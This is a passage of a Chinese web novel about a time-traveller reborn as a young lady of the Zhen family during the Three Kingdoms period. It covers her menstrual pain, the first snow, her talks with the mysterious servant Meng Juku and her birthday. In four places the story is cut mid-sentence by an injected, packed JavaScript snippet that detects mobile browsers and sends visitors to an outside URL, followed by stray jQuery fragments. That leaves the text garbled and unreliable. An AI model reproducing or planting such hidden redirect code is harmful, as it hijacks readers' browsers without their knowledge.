那园子很大,倚着青萝群山,有湖泽河流与一望无际的树林。她扬起鞭子,打在风中,利落一抽,任凭马儿沿湖疾驰。 尽管风扑得脸生疼,可眺眼所见绵延翠色,再没有比这更自由畅快的时刻了。 红艳艳的裳裙仿若一团火焰,几乎点亮了山水间每处暗淡景色。 花开两朵,各表一枝。 远在颍川的谢容允最近走的许县买卖,顺道回趟老家给早逝的双亲敬香磕头,途经阳翟时,还去拜访了其间有名的高人隐士水镜先生。 水镜此人清雅朴直,虽鄙夷谢容允这般立身处世的庸俗态度,因与谢氏沾亲,便也给得几分薄面相见。 交谈寥寥数语,无关痛痒,只知他老人家为避战祸,不日就要举家迁往荆州襄阳了。 回到候馆时,天将黑未黑,大门前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052417|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久站了对扈从,待谢容允走近些,其间一矮小者迎面作揖:“东家。” 仆唤作田匏,打小就跟着做事,知根知底,算个忠心牢靠的人,离近几步,又听他轻声道:“有贵客。” 谢容允闻讯,不由疾步走进馆内,边问:“可是夏侯公子?几时到的?” “约未时二刻下的马。”田匏恭敬引路,“想必路途疲累,到时便歇下了,也不知醒是未醒,小的未敢惊扰。” 说话间,两人已转出回廊。 谢容允不由点点头,命田匏退下,至阶前,他又止步,理好衣冠,方才继续往前,恭敬揖礼:“颍川谢敛,求见夏侯公子。” 外头把守的侍卫认得他,连忙打开门,请人进去。 此间厢房里正坐着的是夏侯尚,汉代开国元勋夏侯婴之后,年方十八,自小就跟随叔父夏侯渊替其主曹操征战四方。 目今汉室衰微,群雄逐鹿,司空曹操挟天子以令诸侯,虽屡行不义,到底也算得名正言顺。 谢容允既识时务,又爱攀高,都说小人之交甘若醴,他便自持为朋侪中最敞亮的市道之交,所谓远大抱负,不过扳龙附凤,扶摇直上,图尽天下富贵。 说来他能攀附上曹家的高枝,不得不提当年将蜀锦贩卖到兖州陈留,那精致花样恰得了夏侯渊之妻小丁氏的青睐,自此便牵上了线。 两人不知说了什么话,待到亥时,谢容允才意犹未尽地从厢房走出来,已然饥肠辘辘。 “东家。”田匏提拎个灯笼,恭敬候着,“上房的饭菜和熏暖都已经备好,适值立冬,特意加了份您喜欢的猪肉汤饼。” 谢容允满意地点头,是因出了屋,凉森森的手不住收进了宽袖里:“这天益发凉了,也不知咱们今年会在哪儿过年。” 他啊,实则是个亲情淡薄的人,父母早逝,打小寄养在伯父家中。那院子豪阔,丁口也多,他却与谁都不亲近,寄人篱下的日子艰难,少不了遭白眼、吃苦头,等大了些,便借由长见识而出走颍川,四方游历去了,自此流寓,居无定所,也算孑然一身,没什么牵挂。 田匏好似认真思量过,才答:“小的看中山毋极就很不错。” 闻此,谢容允笑了笑:“是不错,我与甄家大约有这个缘分。凡事若有缘,再见不难,可若无缘……”那几分难得的笑意却慢慢化作一滩苦涩,渗透了嘴边,“哎!顺其自然罢。” 说到无缘,是又想起方才夏侯尚所言,此行唐突造访阳翟,只为求得水镜先生出山。 可惜水镜无心仕途利禄,若明日聊得投缘,倒是可以请先生举荐一二贤才。 夏侯尚偏狡辩什么——哎呀,误会了,并非为那战事上的宏图大业,咱曹营可不缺军师!只因明公膝下几位公子渐渐长大,少个名师教诲,听闻水镜先生通经史、晓天文、熟读兵法,也曾传道授业,声望远扬乡党,若能被曹家公子拜为西席,怎么不算互提身价?何况曹家的拜师赠贻甚是贵重,可抵多少清贫之家的每年开销…… 谢容允听得,都有些想毛遂自荐了,怪只怪曹家这次看上的先生不好虚名,不贪富贵,更怕招惹是非,夏侯尚大概率要白走一趟了。 其实水镜已经应了荆州牧刘表的聘请,即将前往襄阳城南的学业堂讲学。 谢容允虽清楚,却不提前告知劝阻夏侯尚。 他这次之所以费心牵线搭桥,是因迫切想求见曹氏的大人物一面,而今在夏侯尚这个小辈面前,倒冷静得有些木讷了。 “田匏。” “在。” “明日找个快马使,给毋极的甄郎君捎句口信,就说我不日将往许都,”行至一片空旷的路,周遭草木都很矮小,谢容允仰头望了眼秋夜的星汉,笑道,“请他莫催促,给我留碗喜酒至开春,彼时再当面祝他,文成武就,螽斯衍庆。” 14. 月信 是因今年的秋老虎反复,便误以一场场透雨不过消遣了燥热,未料立冬刚过,天地骤然阳藏寒起,冷冽的北风像刮刀子般,扑得脸生疼。 绫戈躲在帘后,侧身探了眼外面阴沉如灰浆的天色,不禁打个冷颤,嘀咕着:“得再去灌个汤壶才成。” 她蹑脚走到耳房,往暖和的红枭身上靠了靠。 “你啊,但凡换件厚实的,手也不至于这样凉,跟块铜砖似的。” “这才刚入冬,哪能就把年关预备的新衣服穿旧了。”绫戈自有一番说辞,其实,不过嫌弃冬衣太臃肿,怕穿着显胖,时下再冷,宁愿多套件轻软的秋衫先捱一捱,她捻了捻袖口粘附的绒毛,“何况屋里已经开始烧炭,我离那边近些就好。” 红枭懒得拆穿她的小心思,只顾望着做了个噤声的动作,提醒道:“轻点,娘子好像睡着了。” “哎,”绫戈便压低嗓门,感慨,“午膳仅尝了小半碗鱼汤,其余的什么也没动,头一回见疼成那样的。” “娘子本就体寒,约莫这几日又可怜遭了风邪。”红枭瞧了她一眼,“前车之鉴,你也该忧心忧心自己。” “我身子好着呢!”话虽如此,绫戈还是权衡了片刻,最后苦笑服软,“罢了,寒气的确逼人,我也捱不住的,还是再去添件衣裳为妙。” 断断续续,那边细琐的声响也渐无了。 繁柯院的丫头向来活泼,今天倒出奇得安静,连细宝这样莽撞率性的,都不住垫脚走路,就怕惹火烧身。 早起五娘子来了月信,头两天最是痛不欲生,心情自然也很差。 这会子,人正面如死灰地躺着,腰酸,胸涨,下腹坠痛,感觉整块身体都化成一滩血水,在色彩迷乱的雾气里无规则旋转。 上辈子恶贯满盈,这辈子才越活越回去!棉条还有布某芬,怎就没陪着自己一起穿越啊! 后来痛到头晕,季蘅索性两眼一闭,只当躺进了金丝楠木的棺材里,昏昏沉沉诉苦:死了算了,这破日子真没法过……妈妈,我要回家!…… 等再醒来,天已黑透,费力一睁眼,便瞧清楚榻边坐着细宝,原是她把自己的摇醒的,那略羞赧的表情分明在说,该换月事带了。 季蘅耷拉着臭脸,虚弱得就像暴雨过后的杏花,落了满地的惨白。她挪着步去出恭,又磨蹭了半晌,终于重新清爽地回到内寝,靠着个羊皮坨子坐下。 缦双正好奉上一碗红糖姜汤,催促道:“娘子趁热。” 季蘅讨厌红糖,更讨厌吃姜,但痛经击溃了她所有底线,两片单薄又泛白的嘴皮子懒懒一嗒:“好。” “这回怎么就疼成这样了?”细宝也奇怪,“真是可怜了。” 缦双似乎冷哼了声,盯紧了娘子不情不愿地嘬着姜汤,边奚落:“没听说过立冬了还敢赤脚下河玩水的,可不就得痛一痛,才好长记性。” 当时还诳骗她们说,是自己没留神踩到水了才把鞋袜弄湿。 “我一向贪凉嘛,”季蘅有些心虚,声音也弱弱的,“下回再不敢了。” 主要是这玩意也太难喝了,宁愿换口孟婆汤,长痛不如短痛。 “下回?都说经一堑长一智,”缦双递去温湿的巾帕给娘子擦嘴角,“可您呢,尽自记吃不记打,好了伤疤便忘了疼。” 在旁的细宝是又心疼又想笑,只好说:“早前看到雁弩在煮花椒梨汤,忽想起一土方子,碾些花椒、艾绒,用热布裹好,再贴在肚脐眼,似乎能舒缓些。” “理是这个祛湿寒的理,但总归隔了层细绢外敷,哪能有明显的作用,应当对着神阙穴艾灸。”缦双是个懂行的,语气笃定得似乎要动手行医了,“可娘子细皮嫩肉的,先得用香包揉一揉。” “别了,我熬过今明就好,再痛也不能了,哪需得烦请医工。”季蘅说,“只是现在,饿虽饿,却没什么胃口。” “要不给您也讨一碗花椒炖梨?祛祛风寒。”细宝建议。 光听名字就让人无法下咽,季蘅不由语塞。 缦双这时发话了:“奴婢让厨工煮了南瓜羹,便是没胃口,娘子待会儿也多少用点,不然夜里容易睡不安稳。”又问细宝,“雁弩怎么炖起梨了,可是谁伤风咳嗽了?” “樊医让给霁风斋炖的,孟家侄儿喝了有几天,还不错,气息好像益发平稳,不怎么咳了,比别的汤药管用。” 听到孟觉苦的事,季蘅回光返照般,来了几分精神,她隐约想起自己小时候生病,最讨厌枇杷糖浆的味道,煮烂的热梨次之,不住幽幽叹气:“以前咳嗽,妈妈都会喂我吃些柿子、花生,没几日就好全了。” 话音一落,空气大约凝固了半刻,还是细宝有些疑惑地挤出笑,问:“您方才说的什么花?是哪位妈妈?奴婢没听太清楚。” 季蘅突然反应过来,好像落花生是16世纪才传入中原的,她一口嗳气扼在了喉咙里,缓了缓,糊弄道:“忘了,兴许是什么金银花,有次在古籍里瞥见的,却没瞧仔细,忘了具体的名儿。不打紧。” 然后有些心虚地把喝干净的碗搁回托盘上,顾而言他:“这几日,外头可有什么大事发生?” 缦双早习惯娘子动辄冒出些八怪七喇的词和句,倒是沉稳收起汤碗就走了。 细宝却来了意兴,凑到五娘子眼近津津乐道。 季蘅漫不经心地听着,左不过一些鸡毛蒜皮的小道消息,便抬起手:“这段时日的战事,你可记得帮我打听了?” “记着,记着。”细宝自信满满,她就是季蘅的稗官野史,东搜西罗,凡世间逸闻趣事,都快变得明通四方耳目了,从袁术、孙策到吕布,从曹操、袁绍到刘表,各是说了个遍。 这些声名赫赫的人物,命数皆已定,与史书如出一辙,都将走向各自不可避免的终局。 季蘅听之,脑海里仿佛滑过一场场俗套的话本,因结局无半分新意而感到些无趣,于是轻轻叹了声气。 “您怎么了?” 她倒不能坦白,便胡诌答:“袁公路这半年先败吕,再败曹,眼看气数将尽,是半点没有御龙的命。”又顿了顿,补了句心里话,“想着当前南北方皆不安定,我等不过蝼蚁,偷得性命于乱世,不知还能保全多久。” 细宝却很乐观,劝慰道:“娘子何必杞人忧天,三郎君现如今是袁大将军帐下顶事的,冀州的天即便明日就塌了,也砸不疼您。” 这话反倒叫季蘅生出几分感慨,她能抱怨什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052418|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,实属不幸中之大幸了,再怎么感到不安,也只是个念头,还落不到饥寒交迫、流离失所的可怜地步。 “年初闹过一阵蝗灾,城里多了不少流民……记得冬至那日好像有施粥?” “是,”细宝答,“因着三夫人有孕之喜,老夫人想广结善缘,冬至起要在城北施粥布善五日。” 此举虽治标难治本,但能雪中送炭,也算积德积福。 熬过这个冬天,对很多人已是奢望,只要熬过去,说不定就是黎明前最后的黑暗了。 “届时,我们也帮衬帮衬。” “您去能做什么呢,”细宝露出为难的表情,“况且,那里又脏又臭又冷的。” “蠢东西,只有体力活算作帮忙?之前我托人购置的毛褐、冬衣冬被,岂是为了丢进库房里占地积灰的?” 季蘅做好事,讲究一个论迹不论心,半数出自对穷苦人的怜悯,半数为自己积德累善。谈不上多高风亮节,可受济者得饱暖,她亦能心安,这便是两全其美。 这边还没说完话,绫戈撩起帘子,探头道:“娘子,蟠齐堂的小郎君过来了。” 季蘅一愣,没听见声,也不见人影:“景湛?他在哪呢?” “把他拦外头了,红枭正哄着。” “为何?” 绫戈却有些羞红了脸,难于启齿。 细宝很快反应过来,忙提醒:“您还在月信中,是该避着他们些。” 听到这,季蘅差点没把白眼翻到天灵盖。 实在不懂月经这种天经地义的生理现象有什么好忌讳的,晦气个莫名其妙! 但现下,她没精力计较,更无法对这群古人科普现代医学知识,只好说:“问问他来做什么,若无大事,就随便打发了吧。” 少间,绫戈又抱着个木匣子返回,并省约禀报:“小郎君做了首新诗,想请您指教一二。” 季蘅正值烦躁之际,哪有心情帮小侄批改作业,左手枕着脑袋,抬眼便是推托:“头晕得紧,目下看不进这许多累句,就让湛儿……” 她话说半截,忽戛然停顿,琢磨起说辞。 拒绝是门技术,至少不能太过直白冷漠,万一打击到小孩子好学的积极性可如何是好。 又听绫戈道:“他已经走了,最后只交代,并不着急取,等过几天再过来繁柯院给您问安。” 见娘子面露难色,在旁的细宝不由陪笑:“未必写得有多烂,早前听二夫人身边的念珠讲,小郎君近日出就外傅,读书颇有长进。” 季蘅虽嫌麻烦,却因想到二嫂那张凄怨瘦削的脸,才敛黛妥协道:“罢了,取来我瞧瞧。” 匣中放有两份竹卷,齐裹着半旧的绢帛,绫戈一并呈到塌前案几。 揭开绢帛时,季蘅先是注意到上面也密密写了些东西,那字迹工整端方,有几分眼生,她只留心记下,继续展开竹简览之,随口问:“他是一个人过来的?” 绫戈想了想,摇头:“身后还跟着个清瘦高挺的书僮。” 季蘅竟有些心猿意马地搁下竹简,重新拾起那张绢帛,喃喃念出上面的字: “众人熙熙,如享太牢,如春登台;我独泊兮,其未兆①……” 15. 初雪 季蘅再次见到孟觉苦,已是七、八日后的事了。 那天傍亮儿,她在一片舒适的凉意中早早醒来,梳洗毕,支起半扇小窗,仿佛虔诚信徒,对着昏沉的云幕双手合十,然后呼了口热气。 “快下雪吧,明年定能风调雨顺。”她的嗓音轻且清脆,按耐不住心尖的殷殷期盼,积寒了一季,难说这雪哪天才能真正落下。 细宝刚帮着雁弩腌渍完酸菜,再看那些白花花的物什都该似盐碎,绝无美感可言,只探过身问:“内厨在烤糍粑,我待会儿去给娘子约个半块?” 季蘅漫不经心地点了点头,趿拉着外穿的帛屐,掀帘往檐下走去。她直挺脖子,裹紧所披的银狐大氅,仰面盯住那灰蒙蒙如灌泥浆的寥空,似乎在等待浪漫降临。 息顷,里面又传来缦双的嘱咐:“外头天寒地冻的,您别待久了。” “好。”季蘅笑应,整个人都藏在暖和厚实的皮草中,北风刮起时,吹动她脑后挽发的猩红绸带子,仿佛摇曳柳枝尖梢。 不远处有丫鬟奉来了四蹄足的涮锅和半篮炭,便知今日午饭是要吃心心念念多时的火锅了,不由畅想,若现下扬起泼天大雪,再热几壶醇酿,一群人围着火炉吃肉,好不快活。 季蘅顿觉惬怀,正欲回屋,额间忽沁着一丝凉意,于是定眼望去,那檐外隐约飘起了零星絮片,她赶忙伸出手往外探,很快,掌心之上出现了期盼已久的稷雪。 “啊,雪。” 这是今年冬天冀州落下的第一场雪,她像个孩子雀跃不已,沿着长廊快步行走。 “真的下雪了!” 室内的丫鬟听到后,反而个个都很镇静,不过相视而笑。 “年年如此,年年欢喜,不知道的还以为下玉珠白银呢。” “娘子的前世或许是个旱魃!” 只有缦双不忘催促:“娘子莫贪凉,快将毡袜皮屦穿好。”她揣起手炉,走到了门口候着。 季蘅这次很听话,随即折身趋步而回,边接过手炉,边笑道:“午饭定要烫壶酒,再配上热腾腾的涮食,不使这光景浪费了。” 缦双有些无奈地陪笑,并未搭腔,依她的性子,不太情愿,但也含糊答应了。 “牛羊肉配上黄酒,诚然人间享受啊,”季蘅欢欣说着,蹭到了细宝身边,倚着对方的胳膊畅想,“等吃饱喝足,再美美睡上一觉,醒来时,该是鹅毛大雪,扬扬洒洒铺满天地,待雪势小些了,我们几个去院子里堆雪人玩!” 这位从千年后穿越而来的南方人,除了去外地旅行,待在故乡的日子里,就没享受过暖气,更别提见识什么正经雪天了,来这已经四五年了,每年入冬都免不得激动起来。 细宝与自家娘子不同,正对着炭盆烤手:“好冷呀,奴婢才不想出去弄湿鞋袜衣裳。” 季蘅虽失望,但不强求,又把目光投向屋内的其余人。 可即便是年纪最小的红枭,也没什么兴趣,只摇头:“小郎君今日好像在家,您还是找他玩吧,正好借由教导课业的名头,谅二夫人不会阻拦。” “我也听说了,小郎君最近勤奋得很,成天是废寝忘食、目不窥园的。”绫戈插嘴道。 细宝补充:“天未亮就索衣诵读,夜以继日的烛火把那小脸熏得蜡黄,任谁看了都心疼。” “上进虽是好事,也该顾及身体啊。”季蘅不由感叹,她高三那年都没这么拼过。“景湛这会儿还在蟠齐堂么?” “白日里是一直待在霁风斋里读书的,有时深夜才归,有时甚至就地歇息了。” 孙文宝头悬梁,苏季子锥刺股,匡稚圭凿壁偷光……你们古人读书也是够拼命的。 她若有所思地顿了顿,又瞥了眼窗外,说:“去把我的斗篷和革靴寻来。绫戈,后晌陪我去趟霁风斋吧,不叫你白遭罪,回来赏你一匹新缎子做春服。” 爱美的绫戈喜上眉梢,立马应诺。 “若今日风雪不止,这路怕是难行。”缦双奉上了一盏山楂茶供人开胃,话中意思便是劝阻。 季蘅却烂漫笑道:“若能被雪砸疼了,或跌进那软绵绵的雪地里,倒别有趣味,不枉这严冬空空走趟世间啊。” 午时,檐外的雪势果然渐盛,院子里早是银装素裹,十分清穆,屋内,五个姑娘围坐长案,涮起火锅,热闹谈笑。尤其细宝,吃得是满脸通红,最后醉倒在耳房酣眠。 “你们也都去歇息吧,记得半个时辰后再来唤我。” 用完膳,季蘅满足地在榻前踱步消食。 火盆烧得正旺,屋内温度适宜,只留了一角透气,能听见外头呼呼作响,天似被冽风吹破个窟窿,灌进许多暴雪。她从书架拣了册《考灵曜》,倚在榻边阅览,伴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052419|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着温煦的炉香,人很快感到困倦,沉沉睡去。 梦的最初是一团混沌的黑雾,恍惚间,天光乍破,季蘅已临至不生不灭的虚幻仙境。 白虹贯日,她站在彼岸之上,抬眼所见一片流光溢彩,那边有耸入粉蓝云端的熟红树木,青溪溶溶流经冒紫烟的热土,颗颗明亮硕大的珍珠像星辰般高悬天际。 正当她被此等油画般的美景惊艳,目不暇接之时,远方的澄碧蓝海忽然波翻浪涌,竟腾起一条银鳞虬龙。 季蘅本能地往后退了半步,未料整个人踏空将坠。 很快黑雾消散,她睁眼回到了现实,只叹这一觉睡得昏沉,已是申时了。 外头还在落雪,似乎没有停歇的意思,季蘅梳洗好后,仍坚持要外出。 缦双拦了几句,未果,便妥协地把一只小巧的白铜手炉递给娘子,嘱咐道:“待这新添的火炭凉了,您就该回了,若是弄湿鞋袜,更得……” “好。”季蘅随口答应,实则有些急不可耐,等细宝帮她系好兜帽,就兴冲冲地往外闯。 而站在廊下的绫戈恰巧撑起了油伞。 虽近黄昏,天色晦暗,周遭却被雪映得亮堂堂的,主仆两人紧挨着,互相搀扶地走出了繁柯院。 转眼霁风斋这边,里间的围炉案前,景湛正手捧竹帛,躬着背,一字一句地卖力朗诵儒书。 孟觉苦见他年幼还这般辛苦,禁不住心生可怜,劝道:“郎君喝口茶润喉,歇息片刻罢。” 景湛却头也不抬,只说:“我脑子太笨,凡文章都得多读几十遍,才能勉强记下。阿孟不必管我。” 其实七岁的他能认全这些字,并流利读完,已是很不错了。 孟觉苦很清楚,这个年龄段的孩子多是犟脾气,越劝越逆反,便抖了抖衣袖,独自走到堂前。他刚服完一帖药剂,身子正有些燥热,于是卷起布帘,倚门坐下。 檐外彤云密布,泼着繁杂如柳絮的雪片,院子里皑皑白雪已积地深尺余。 孟觉苦贪凉,只把一件旧貂毛遮过膝盖,风很轻,扑面而来时,并不刺骨,他侧目痴望着这素净之景,不知心底正在怅惘什么。 也不知过了多久,吱嘎的踩雪声让他从虚无中恍过神,不远处,仿佛点燃了一簇红扑扑的火焰,并传来欢快又动听的笑: “湛儿!下雪了!” 16. 秘密 “子曰,士而怀居,不足以为士矣。①” 摇头晃脑念完这句,景湛终于抬眼,有些苦大仇深地看向书案对面的人。 “哎,小姑姑,侄儿如今已师从外傅,再不是蒙昧孩童,玩雪之邀,恕难从命。” 年纪不大,谈吐却一派老气横秋,现下又讲出此等灭人欲的话来,季蘅听着败兴,几分轻蔑地眯长眼睛:“你这些个成套的说辞,都是跟谁学的?” 他把头伏得更低了,缓缓应答:“三叔父。” “又在胡诌,甄尧最是懒了,平日沾不得半点苦,你学他斗鸡走马,还是吃喝玩乐?” “叔父有出息,受邺侯青睐,祖婆因此高兴了许久,就想着,往后我若也能举茂才,阿母定会欣慰的吧。可惜我体弱,脑子笨,无甚天份,唯有将勤补拙。” 古之贤者皆以忠孝为立身根本,甄家教育子女自也遵从的儒家经典。景湛年幼,但孝思不匮,时刻记挂着寡母,季蘅自愧不如,原本玩笑的口吻也收敛了些,宽慰道:“其实,你能有这份孝心,二嫂便足够欣慰了。” 见小侄仍在苦恼纠结,她思忖片刻,换了个方略劝说:“学有阶渐,欲速则不达,看你每日起早贪黑的,甚是辛苦,正好,先前吩咐丫鬟给蟠齐堂送了些炙肉给你补身体,等习完这些功课,咱俩一块,今晚陪嫂嫂同席用膳如何?” 景湛果然迟疑了:“好是好,可我愚钝,不比姑姑您过目成诵,需多花时间才能背完。” “不急,还早着呢,你且先背成这一面,余的或留到明日。” 他这才颔颐应下,继续用功去了。 此刻的霁风斋略安静,绫戈煮完茶,便一言不发地对着炭盆烘暖斗篷,除了簌簌落雪声和木炭燃烧的噼里啪啦,就只剩小儿在喃喃念书,那语息甚闷,几如蚊响。 季蘅无所事事地打了个哈欠,又抿了两口热茶,余光不住瞥向外边的孟觉苦。 那人正懒洋洋倚着门框,望着落雪失神,周身散发出冷峭寂寥的气质,浑像个深不见底的黑洞。 似乎很犹豫,她把小盏搁回了案面上,待拿定主意后,起身走向了那个漩涡。 “孟觉苦。” 她是小心翼翼地唤出这个名字的,带着试探和敬重,自作主张地跪坐在男人的对面。 孟觉苦并不意外女子的到来,出于礼貌,也不再流连屋外雪景了,把头一撇,有些淡默地望向眼前人。 久看素净的雪,再看甄五娘,这张漂亮的脸也白,可惜不素,方才远远跑来,是活泼又热烈,两颊的红晕还未褪尽,此时脱去了大红斗篷,端坐下来,那昳丽模样,仿佛含苞待放的白牡丹。 他的眼睛不免花了些力气,偷偷感慨,再过几年,等这美貌完全长开了,会不会变成另一个红颜祸水?从来如此,太出挑的,便最容易惹事端。 故而半晌才想起回话:“娘子有何吩咐?” “我无聊得紧,”不拘真心或假意,季蘅笑起来的模样很动人,就像蓬莱吹来的薰风轻轻撩拨开悲秋雾气,十足沁人心脾,“想你曾经行军多载,可否与我讲讲疆场之事?” 女子的声音甜润,却叫孟觉苦陡生一阵酸涩涌动,他答:“羁旅漂泊,功名未遂,无有甚么趣事。” “那你见过曹操曹司空么?” 闻此,他不由语塞,面上倒依旧平静,等对方期盼的眼神稍收敛,才点头:“以前在点兵台,远远瞧见过几次。” “司空长什么样子?有无王霸之气?”季蘅当真兴致盎然,急忙追问。 孟觉苦被她逗笑了,嘴角深深一陷,但很快,那神情变得有些悲伤:“太远了,看不真切。” 这个回答没能让季蘅顺意,她小小遗憾了一下,但非挫败,心底还有许多人想盘问,掰着指头数,文臣如荀彧、荀攸、郭嘉、程昱,武将如夏侯惇、于禁、许褚、典韦——啊,这位就别提了,莫要伤口撒盐。 顾虑到最后,她轻落了句:“有道,乱世出英雄,你在军中可曾见过什么特别厉害的人物?” “何为厉害人物?所向披靡,类如飞将吕奉先?” 俗语道,一吕二赵三典韦,四关五马六张飞。孟觉苦口气倒大,敢随意对标三国武将的榜首了。季蘅含糊地点点头,奉承道:“早听说曹军帐下的能臣干将颇多。” “确然。”孟觉苦不经意时,或因诧异或因亵慢,总会挑高一边的眉。 捕捉到那瞬间流出的轻巧神情,十分难得,想他以前大约也是飞扬不拘束的性子,会披甲持枪,策马穿过春花烂漫的巷道,若遇上有姑娘偷瞧,便大方顾首,报以明朗之笑…… “军中胜吕布者甚多。”他的傲慢,果不其然是在揶揄人,半句说完,特意停顿下来,等着对方追问。 可季蘅到底机灵,早已心领神会一二,笑说:“哦,那吕布虽骁勇,却无信义,此等反复小人,我身边的姊妹兄弟也胜他不少。” 孟觉苦听到这话,初时蘧然,但渐渐,心里愈发堵得慌,就像用力一拳打在松软的棉花上,原本使不完的那点劲儿只能凭空慢慢泄干净。 俄顷,他终于开口,算是坦诚这多时遭遇的迷惑:“我往日见识过不少早慧少年,他们的七窍玲珑确实令人欢喜,但唯独娘子你,就像忘喝了那孟婆汤,叫人……望而却步。” 没想到孟觉苦竟有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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每每旁敲侧击地问及身世,他就变成个十足的闷葫芦,几棍子敲不出一个响。 不过现在,季蘅算彻底想开了,即便眼前的人就是曹昂,史书上那个死在宛城的曹昂,也再回不来了。 她暗自叹了声气,眉头笼上愁云,罢了,何必自讨没趣,哀莫大于心死,再不要难为人家。 当时代的洪流滚滚而来,遑论渺小之至的你我,那千百年的时间也许不过一两页纸,甚至一两行字。 孟觉苦瞧她惆怅的模样,一时失神,竟轻轻笑了下。 “你笑甚?” 他连忙解释:“莫敢冒犯,只是忽觉娘子方才的神情,有些像……在下的胞妹。” 或换作旁人,定会觉得油嘴滑舌,可现下,季蘅却当真好奇了 ,问:“哦?她叫什么名字?” 孟觉苦呼了口热气,似有些不舍地念出那个名字: “舜华。” 17. 生辰 舜华,朝开暮落。① 这名字虽非季蘅所耳熟的,但她无端喜欢,并用心记牢了,回到繁柯院后,恰见庭前的西南角有块土壤仍光秃秃的,便叮嘱缦双,初春时要记得在那里播下木槿种子,待来年夏秋,重瓣的粉紫花儿该是铺满了篱笆。 周遭另种着什么月季、芍药、海棠、山茶等等,只要能在北方存活,这院里应有尽有。 季蘅生来喜香爱美,盼望四时受繁花锦簇,总有天,这院子会因她的随心所欲,变成一座韶光永驻的花房。 对于孟觉苦,她自认同类,大家都算大难不死,重新活过一回的了,又反复思量那句“知其不可奈何而安之若命”,姑且放轻了执念。 往后多次再见,两人皆心照不宣,也肯静气地攀谈几句,一块烹茶看书,渐渐就熟络了。 转眼十二月丁酉,季蘅在古代的生辰如期而至。 她原本的生日是8月4日②,阴历那套隔得太远,推算不来,逃不脱是一个炎热的夏天……到底,要在当下这个世界过活,千年后的“点点滴滴”也无关紧要了。 中午随母亲张氏吃了碗长寿素面,便算简单庆祝了,她尚未成年,又非整岁,是无资格大张旗鼓摆宴的。好在已过小年,家里都悬灯结彩了,点缀得喜庆热闹。 “这是你画的?” 案面铺开一张绢帛,其上描绘的正是当时的局势图,不仅勾勒了各州边界与山脉江流,空处还细密写着些人名。 孟觉苦端看着,画笔虽显稚嫩,那地理枢纽、要塞可谓一目了然。 “闲来无事,描着玩。”话虽这样说,季蘅却格外留意对方的目光所至,她小心翼翼地偏头问,“依你所见,可有错漏?” 还没等人再开口,忽像发觉了什么了不得的大事,错愕道,“哎,我竟给忘了!” 她连忙提笔,直接将徐州、扬州之间的一个名字划掉了,主动解释:“听闻落草为寇的杨奉已遭刘玄德斩杀,是因惟命于吕布,钞掠了人家的军资。” 孟觉苦微怔了神,相处这段时日,早该习惯季蘅不一般,她是心怀天下、目及四海的,可每每谈及战事,总免不得偏见,当是那纸上谈兵的赵括。 现下,他盯着徐州二字,忆起了前尘往事,仍难消忿恨,于是往右挪了挪目光,却发觉刘备之名写得比徐州牧陶谦的还要大。 而纵览全图,唯有刘备、曹操、孙策三人之名是以朱笔书写,最为显目。 “丹笔不详,黎庶忌用,”他的手停留在江东一带,正指在孙策的头顶,叩了叩案面,偏问,“这三人可是你的仇家?” 季蘅哪晓得这个忌讳,不过是想让三国的主角们看上去更特别些,对此,她没想到合适的理由多嘴解释,只笑说:“我无心挑着写的,也许他们之中就有紫微大帝下凡?或是匡扶汉室的天命所归吧!” 孟觉苦自是不太信,刚想说些什么,隐约听到外头传来了男人爽朗的笑声。 季蘅亦闻其声,速将绢帛叠起,又熟练地铺开某卷竹简以遮掩,这侧身一抬眼,便迎见来者。 “小妹最近勤学得很,总往霁风斋里跑,怕不是想做女博士?” 来者正是甄尧。 “那兄长又过来做什么的?”她佯呆反问。 “我?”甄尧笑开了颜,很是意气风发地坐在对面,“我这不是来扫你的兴了嘛。” 在旁的孟觉苦端上一盏酽茶后,便知趣地转入内室,去收拾书架了。这期间,甄尧竟半眼也没瞧他,似故意为之。 季蘅不免腹诽:确实扫兴,你倒很有自知之明。 “该早早回繁柯院去,那里有给你的生辰礼。”甄尧托着漆耳杯,往嘴边递,他吃下口茶,接着道,“一抬红木箱子,也不大,里头装着些寻常女儿喜欢的小玩意,啊,并非我一人送的,至于还有谁,暂且无须备述,你只管拣自己喜欢的,莫因记挂谁送的就乱了分寸。” 